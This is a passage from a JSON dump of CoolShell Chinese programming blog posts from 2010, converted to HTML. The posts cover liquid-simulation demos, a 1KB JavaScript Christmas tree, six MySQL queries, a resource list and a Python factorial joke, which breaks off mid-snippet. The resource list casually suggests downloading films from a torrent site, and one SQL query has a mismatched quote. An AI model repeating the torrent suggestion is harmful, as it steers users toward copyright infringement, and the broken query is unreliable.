src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4506.html\">再谈“我是怎么招聘程序员的”（上）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4490.html\"><img alt=\"再谈“我是怎么招聘程序员的”（下）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4490.html\">再谈“我是怎么招聘程序员的”（下）</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3345.html\">140个Google的面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-12-21 流体力学的演示.html",
    "content": "<html><body><p>某人用Java搞了一个流体力学的演示。</p>\n<p><a href=\"http://grantkot.com/MPM/Liquid.html\" target=\"_blank\">http://grantkot.com/MPM/Liquid.html</a></p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-3422\" height=\"308\" src=\"../wp-content/uploads/2010/12/Liquid.jpg\" title=\"流体力学的演示\" width=\"522\"/></p>\n<p>不过，这仅仅是个开始。某同学将其发布上了reddit.com，于是，全世界的同学们开始给力了——</p>\n<p><span id=\"more-3421\"></span></p>\n<p>Flash的开发者首先不服，搞了个 flash版（带源码）：</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://wonderfl.net/c/yxe9\" target=\"_blank\">http://wonderfl.net/c/yxe9</a></p>\n<p>看到了Flash版，Javascript+HTML5的同学们也不干了，于是出现HTML5版（带源码）：</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://www.music.mcgill.ca/~sinclair/content/blog/liquid_simulator_ported_to_canvas\" target=\"_blank\">http://www.music.mcgill.ca/~sinclair/content/blog/liquid_simulator_ported_to_canvas</a></p>\n<p><a href=\"http://www.music.mcgill.ca/~sinclair/content/blog/liquid_simulator_ported_to_canvas\"></a>不过性能慢了很多，所以，又有人优化了一下HTML5版的程序:</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://jsbin.com/unovo4\" target=\"_blank\">http://jsbin.com/unovo4</a></p>\n<p>SVG的同学们也不甘寂寞，不过，那真叫一个慢啊。</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://ulo.pe/js-liquid-svg/\" target=\"_blank\">http://ulo.pe/js-liquid-svg/</a></p>\n<p>这个时候，C/C++同学出来了，使用SDL库也搞了一个：</p>\n<p style=\"padding-left: 30px;\"><a href=\"http://q3k.org/fluidsim.zip\" target=\"_blank\">http://q3k.org/fluidsim.zip</a></p>\n<p>——————</p>\n<p>短短几天里，被人重写成各种语言。这个程序写起来真的很简单吗？是我out了吗？</p>\n<p><strong>更新- iPhone和iPad版的</strong>： <a href=\"http://www.infi.nl/blog/view/id/98/Liquid_on_iPhone_and_iPad\">http://www.infi.nl/blog/view/id/98/Liquid_on_iPhone_and_iPad</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5576.html\"><img alt=\"那些曾伴我走过编程之路的软件\" height=\"150\" src=\"../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5576.html\">那些曾伴我走过编程之路的软件</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7992.html\"><img alt=\"C++的坑真的多吗？\" height=\"150\" src=\"../wp-content/uploads/2012/08/cpp_small-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7992.html\">C++的坑真的多吗？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3421.html\">流体力学的演示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-12-27 程序员的圣诞节.html",
    "content": "<html><body><p>程序员Román Cortés用1021个字节写了一个<a href=\"http://js1k.com/2010-xmas/demo/856\" style=\"font-weight: bold;\" target=\"_blank\">3D 的圣诞树</a>，很强大。（请使用Chrome浏览器查看），还记得<a href=\"https://coolshell.cn/articles/2785.html\" target=\"_blank\">本站介绍的那个叫js1k.com的网站</a>吗？</p>\n<p style=\"text-align: center;\"><a href=\"http://js1k.com/2010-xmas/demo/856\" target=\"_blank\" title=\" 3D Christmas tree\"><img alt=\"Christmas Tree\" height=\"339\" hspace=\"38\" src=\"http://www.romancortes.com/ficheros/arbol_0.jpg\" vspace=\"30\" width=\"434\"/></a></p>\n<p style=\"text-align: left;\">其原理如下所示：</p>\n<p style=\"text-align: left;\"><span id=\"more-3429\"></span></p>\n<p style=\"text-align: left;\"><a href=\"http://www.romancortes.com/blog/how-i-did-the-1kb-christmas-tree/\" target=\"_blank\">http://www.romancortes.com/blog/how-i-did-the-1kb-christmas-tree/</a></p>\n<p style=\"text-align: center;\"><img alt=\"-\" height=\"168\" hspace=\"68\" src=\"http://www.romancortes.com/ficheros/arbol_1.gif\" vspace=\"30\" width=\"374\"/></p>\n<p style=\"text-align: center;\"><img alt=\"-\" height=\"168\" hspace=\"68\" src=\"http://www.romancortes.com/ficheros/arbol_2.gif\" vspace=\"30\" width=\"374\"/></p>\n<p style=\"text-align: center;\"><img alt=\"-\" height=\"162\" hspace=\"96\" src=\"http://www.romancortes.com/ficheros/arbol_3.gif\" vspace=\"30\" width=\"318\"/></p>\n<p style=\"text-align: center;\"><img alt=\"-\" height=\"276\" hspace=\"15\" src=\"http://www.romancortes.com/ficheros/arbol_4.gif\" vspace=\"30\" width=\"480\"/></p>\n<p style=\"text-align: center;\"><img alt=\"-\" height=\"368\" hspace=\"114\" src=\"http://www.romancortes.com/ficheros/arbol_5.gif\" vspace=\"30\" width=\"282\"/></p>\n<p style=\"text-align: center;\"><img alt=\"-\" height=\"171\" hspace=\"79\" src=\"http://www.romancortes.com/ficheros/arbol_6.gif\" vspace=\"30\" width=\"351\"/></p>\n<p style=\"text-align: left;\">——————————————</p>\n<p style=\"text-align: left;\">还有另外一个叫Dustin DeWeese程序员，也做了一个贺卡给大家（请点下面的链接）。这个贺卡需要向下滚动网页才能看得出效果来，no Javascript。</p>\n<p style=\"text-align: center;\"><a href=\"http://www.hackerfoo.com.nyud.net/christmas/christmas.html\" target=\"_blank\">http://www.hackerfoo.com.nyud.net/christmas/christmas.html</a></p>\n<p style=\"text-align: left;\">这种使用遮罩而产生的动画的东西确实很有意思：<a href=\"http://blogoscoped.com/files/stripes.html\" target=\"_blank\">http://blogoscoped.com/files/stripes.html</a>，有一个小工具可以用来创建这样的东西：<a href=\"http://dl.dropbox.com/u/15095913/Scanimation_Creation_v1.1.zip\" target=\"_blank\">http://dl.dropbox.com/u/15095913/Scanimation_Creation_v1.1.zip</a></p>\n<p style=\"text-align: left;\">呵呵。挺有意思的吧。</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2785.html\"><img alt=\"JS1K 演示\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2785.html\">JS1K 演示</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3429.html\">程序员的圣诞节</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-12-31 6个有用的MySQL语句.html",
    "content": "<html><body><p>以前本站给大家介绍过《<a href=\"https://coolshell.cn/articles/1846.html\" rel=\"bookmark\" target=\"_blank\">MySQL性能优化的最佳20+条经验</a>》，今天给大家介绍六条比较有用的MySQL的SQL语句，可能很多人都通过PHP来实现这些功能。</p>\n<h4>1. 计算年数</h4>\n<p>你想通过生日来计算这个人有几岁了。</p>\n<pre class=\"EnlighterJSRAW\">\n\nSELECT DATE_FORMAT(FROM_DAYS(TO_DAYS(now()) - TO_DAYS(@dateofbirth)), '%Y') + 0;\n</pre>\n<h4>2. 两个时间的差</h4>\n<p>取得两个 datetime 值的差。假设 dt1 和 dt2 是 datetime 类型，其格式为 ‘yyyy-mm-dd hh:mm:ss’，那么它们之间所差的秒数为：</p>\n<pre class=\"EnlighterJSRAW\">\n\nUNIX_TIMESTAMP( dt2 ) - UNIX_TIMESTAMP( dt1 )\n</pre>\n<p>除以60就是所差的分钟数，除以3600就是所差的小时数，再除以24就是所差的天数。</p>\n<h4>3. 显示某一列出现过N次的值</h4>\n<pre class=\"EnlighterJSRAW\">\n\nSELECT id\nFROM tbl\nGROUP BY id\nHAVING COUNT(*) = N;\n</pre>\n<p><span id=\"more-3433\"></span></p>\n<h4>4. 计算两个日子间的工作日</h4>\n<p>所谓工作日就是除出周六周日和节假日。</p>\n<pre class=\"EnlighterJSRAW\">\n\nSELECT COUNT(*)\nFROM calendar\nWHERE d BETWEEN Start AND Stop\n  AND DAYOFWEEK(d) NOT IN(1,7)\n  AND holiday=0;\n</pre>\n<h4>5. 查找表中的主键</h4>\n<pre class=\"EnlighterJSRAW\">\n\nSELECT k.column_name\nFROM information_schema.table_constraints t\nJOIN information_schema.key_column_usage k\nUSING (constraint_name,table_schema,table_name)\nWHERE t.constraint_type='PRIMARY KEY'\n  AND t.table_schema='db'\n  AND t.table_name=tbl'\n</pre>\n<h4>6. 查看你的数库有多大</h4>\n<pre class=\"EnlighterJSRAW\">\n\nSELECT\n  table_schema AS 'Db Name',\n  Round( Sum( data_length + index_length ) / 1024 / 1024, 3 ) AS 'Db Size (MB)',\n  Round( Sum( data_free ) / 1024 / 1024, 3 ) AS 'Free Space (MB)'\nFROM information_schema.tables\nGROUP BY table_schema ;\n</pre>\n<p>希望对你有帮助。</p>\n<p>文章：<a href=\"http://www.codeforest.net/6-useful-mysql-queries\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7490.html\"><img alt=\"性能调优攻略\" height=\"150\" src=\"../wp-content/uploads/2012/06/f1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7490.html\">性能调优攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/925.html\"><img alt=\"如何比较两个数据表\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/925.html\">如何比较两个数据表</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8711.html\"><img alt=\"程序员疫苗：代码注入\" height=\"150\" src=\"../wp-content/uploads/2012/12/200906020837401710-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8711.html\">程序员疫苗：代码注入</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7270.html\"><img alt=\"NoSQL 数据建模技术\" height=\"150\" src=\"../wp-content/uploads/2012/05/overview2-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7270.html\">NoSQL 数据建模技术</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6639.html\"><img alt=\"千万别惹程序员 \" height=\"150\" src=\"../wp-content/uploads/2012/02/programming-language-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6639.html\">千万别惹程序员 </a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4939.html\"><img alt=\"Quora使用到的技术\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4939.html\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3433.html\">6个有用的MySQL语句</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-12-31 一些杂项资源.html",
    "content": "<html><body><p>以前给大家介绍过<a href=\"https://coolshell.cn/articles/3013.html\" target=\"_blank\">一些非常有意思的杂项资源</a>，今天再给大家介绍一些。（虽然没有上次的多，也算是一个新年礼物吧）</p>\n<ul>\n<li>首先，如果你想在你的web页上做一个小提示，你不妨到<a href=\"http://projects.nickstakenburg.com/tipped\" target=\"_blank\">http://projects.nickstakenburg.com/tipped</a>上看看，各种各样的提示风格，很不错。而且兼容于四大主流浏览器——Chrome, Firefox, IE, Safari。</li>\n</ul>\n<ul>\n<li>如果你想让Java变成一个动态语言，你可以试试这个开源项目：<a href=\"http://code.google.com/p/ductilej/\" target=\"_blank\">http://code.google.com/p/ductilej/</a></li>\n</ul>\n<ul>\n<li>如果你想把你的Windows蓝屏改成红屏或是绿屏，你可以看看这篇教程：<a href=\"http://blogs.technet.com/b/markrussinovich/archive/2010/12/14/3374820.aspx\" target=\"_blank\">http://blogs.technet.com/b/markrussinovich/archive/2010/12/14/3374820.aspx</a>，还是挺Cool的。</li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-52-36-metablogapi/4745.image_5F00_thumb47_5F00_0847D56E.png\"><img alt=\"image_thumb47\" border=\"0\" height=\"413\" src=\"http://blogs.technet.com/cfs-file.ashx/__key/CommunityServer-Blogs-Components-WeblogFiles/00-00-00-52-36-metablogapi/7462.image_5F00_thumb47_5F00_thumb_5F00_5577CEF9.png\" title=\"image_thumb47\" width=\"550\"/></a></p>\n<p><span id=\"more-3437\"></span></p>\n<ul>\n<li>如果你想使用HTML5+Javascript做一个游戏，就像制作<a href=\"https://coolshell.cn/articles/2998.html\" target=\"_blank\">这些HTML5的小游戏</a>一样，你不妨考虑使用一下这个游戏框架：<a href=\"http://www.propulsionjs.com/\" target=\"_blank\">http://www.propulsionjs.com/</a></li>\n</ul>\n<ul>\n<li>如果你想学习Emacs，而又不害怕这样的学习曲线，那么，这里有一篇相当不错的教程供你参考：<a href=\"http://textmate2.com/\" target=\"_blank\">http://textmate2.com/</a></li>\n</ul>\n<p style=\"text-align: center;\"><a href=\"http://textmate2.com/\" target=\"_blank\"><img alt=\"Ediff mode screenshot\" src=\"http://www.gnu.org/software/emacs/tour/images/ediff-small.png\"/></a></p>\n<p style=\"text-align: center;\">\n</p><ul>\n<li>如果你对2010年的好莱坞电影票房和排行情况想有一个整体的了解的话，这里有一个很不错的图示：<a href=\"http://www.xach.com/moviecharts/2010.html\" target=\"_blank\">http://www.xach.com/moviecharts/2010.html</a>，阿凡达，艾丽斯梦游仙梦，钢铁侠，史端克，幕色，盗梦空间，玩具总动员，哈里波特……可能还有很多你没有看过的电影，你可以上<a href=\"http://www.kickasstorrents.com/\" target=\"_blank\">http://www.kickasstorrents.com/</a>上下载看看。</li>\n</ul>\n<ul>\n<li>如果你像我一样，对“Agile Development”在中国似“电视购物”般的的宣传和神化有一些异见的话，或者你对这个方法论起级信仰，认为他就像“共产主义”，“真主”，“耶稣”，“佛陀”一样可以普世的话，你不妨看一下下面这些文章：（注意，他们大多被墙）\n<ul>\n<li><a href=\"https://gist.github.com/710960\" target=\"_blank\">What Killed Waterfall could Kill Agile</a>.</li>\n<li><a href=\"https://groups.google.com/forum/#!msg/guerrilla-capacity-planning/HR69ubukn_Q/xNgiiMeq0BkJ\" target=\"_blank\">Google Groups上的一个讨论</a></li>\n<li><a href=\"http://david.ing.name/2010/12/24/agile-plumbers/\" target=\"_blank\">Agile 水管工</a></li>\n<li><a href=\"http://mempko.wordpress.com/2010/12/30/look-like-a-capitalist-live-like-a-communist/\" target=\"_blank\">看上去是资本主义，用起来是共产主义，打起架来是法西斯，做起爱来是无政府主义</a></li>\n</ul>\n</li>\n</ul>\n<ul>\n<li>最后让我向你介绍一下2010年度top 10的关于 Spring, ExtJS和Hibernate的相关文章（同意，注意撞墙）\n<ul>\n<li><a href=\"http://loianegroner.com/2010/01/tutorial-getting-started-with-spring-security/\" target=\"_blank\">Tutorial: Getting Started with Spring Security</a></li>\n<li><a href=\"http://loianegroner.com/2010/03/extjs-and-spring-mvc-framework-crud-datagrid-example/\" target=\"_blank\">ExtJS and Spring MVC Framework: CRUD DataGrid Example</a></li>\n<li><a href=\"http://loianegroner.com/2010/03/ajax-file-upload-with-extjs-and-spring-framework/\" target=\"_blank\">Ajax File Upload with ExtJS and Spring Framework</a></li>\n<li><a href=\"http://loianegroner.com/2010/02/integrating-spring-security-with-extjs-login-page/\" target=\"_blank\">Integrating Spring Security with ExtJS Login Page</a></li>\n<li><a href=\"http://loianegroner.com/2010/02/spring-mvc-and-ajax-with-json/\" target=\"_blank\">Spring MVC and AJAX with JSON</a></li>\n<li><a href=\"http://loianegroner.com/2010/02/extjs-how-to-export-datagrid-to-excel/\" target=\"_blank\">ExtJS: How to Export DataGrid to Excel</a></li>\n<li><a href=\"http://loianegroner.com/2010/09/extjs-spring-mvc-3-and-hibernate-3-5-crud-datagrid-example/\" target=\"_blank\">ExtJS, Spring MVC 3 and Hibernate 3.5: CRUD DataGrid Example</a></li>\n<li><a href=\"http://loianegroner.com/2010/01/spring-security-login-and-logout-form-jsp/\" target=\"_blank\">Spring Security: Login and Logout Form JSP</a></li>\n<li><a href=\"http://loianegroner.com/2010/01/how-to-display-an-imagelink-inside-an-ext-js-gridpanels-cell/\" target=\"_blank\">How to Display an Image/Link Inside an Ext JS GridPanel’s Cell</a></li>\n<li><a href=\"http://loianegroner.com/2010/01/ext-window-panel-show-or-hide/\" target=\"_blank\">Ext.Window Panel: Show or Hide?</a></li>\n</ul>\n</li>\n</ul>\n<p><strong>祝大家新年快乐！！</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5537.html\"><img alt=\"一些文章资源和趣闻\" height=\"150\" src=\"../wp-content/uploads/2011/11/stackparts.com_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5537.html\">一些文章资源和趣闻</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5709.html\"><img alt=\"API设计：用流畅接口构造内部DSL\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5709.html\">API设计：用流畅接口构造内部DSL</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5576.html\"><img alt=\"那些曾伴我走过编程之路的软件\" height=\"150\" src=\"../wp-content/uploads/2011/10/00.QuickBasic_PDS_IDE-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5576.html\">那些曾伴我走过编程之路的软件</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3437.html\">一些杂项资源</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-2-1 Python程序员的进化.html",
    "content": "<html><body><p>以前本站发布过一篇《<a href=\"https://coolshell.cn/articles/172.html\" target=\"_blank\">程序员的进化</a>》，以一种幽默的代码展现方式调侃了程序。下面这篇是关于Python程序员的。以阶乘为例，很有意思。</p>\n<h4>新手程序员</h4>\n<pre class=\"EnlighterJSRAW\">def factorial(x):\n    if x == 0:\n        return 1\n    else:\n        return x * factorial(x - 1)\nprint factorial(6)</pre>\n<h4>\n第一年的刚学完Pascal的新手</h4>\n<pre class=\"EnlighterJSRAW\">def factorial(x):\n    result = 1\n    i = 2\n    while i &lt;= x:\n        result = result * i\n        i = i + 1\n    return result\nprint factorial(6)</pre>\n<h4><span id=\"more-2082\"></span></h4>\n<h4>\n第一年的刚学完C语言的新手</h4>\n<pre class=\"EnlighterJSRAW\">def fact(x): #{\n    result = i = 1;\n    while (i &lt;= x): #{\n        result *= i;\n        i += 1;\n    #}\n    return result;\n#}\nprint(fact(6))</pre>\n<h4>\n第一年刚学完SICP的新手</h4>\n<pre class=\"EnlighterJSRAW\">@tailcall\ndef fact(x, acc=1):\n    if (x &gt; 1): return (fact((x - 1), (acc * x)))\n    else:       return acc\nprint(fact(6))</pre>\n<h4>\n第一年刚学完Python的新手</h4>\n<pre class=\"EnlighterJSRAW\">def Factorial(x):\n    res = 1\n    for i in xrange(2, x + 1):\n        res *= i\n    return res\nprint Factorial(6)</pre>\n<h4>\n爱偷懒的程序员</h4>\n<pre class=\"EnlighterJSRAW\">def fact(x):\n    return x &gt; 1 and x * fact(x - 1) or 1\nprint fact(6)</pre>\n<h4>\n更懒的 Python 程序员</h4>\n<pre class=\"EnlighterJSRAW\">f = lambda x: x and x * f(x - 1) or 1\nprint f(6)</pre>\n<h4>\nPython 专家</h4>\n<pre class=\"EnlighterJSRAW\">import operator as op\nimport functional as f\nfact = lambda x: f.foldl(op.mul, 1, xrange(2, x + 1))\nprint fact(6)</pre>\n<h4>Python 黑客</h4>\n<pre class=\"EnlighterJSRAW\">import sys\n@tailcall\ndef fact(x, acc=1):\n    if x: return fact(x.__sub__(1), acc.__mul__(x))\n    return acc\nsys.stdout.write(str(fact(6)) + '\\n')</pre>\n<h4>\n专家级程序员</h4>\n<pre class=\"EnlighterJSRAW\">import c_math\nfact = c_math.fact\nprint fact(6)</pre>\n<h4>\n英语系的专家级程序员</h4>\n<pre class=\"EnlighterJSRAW\">import c_maths\nfact = c_maths.fact\nprint fact(6)</pre>\n<h4>\nWeb 设计者</h4>\n<pre class=\"EnlighterJSRAW\">def factorial(x):\n    #-------------------------------------------------\n    #--- Code snippet from The Math Vault          ---\n    #--- Calculate factorial (C) Arthur Smith 1999 ---\n    #-------------------------------------------------\n    result = str(1)\n    i = 1 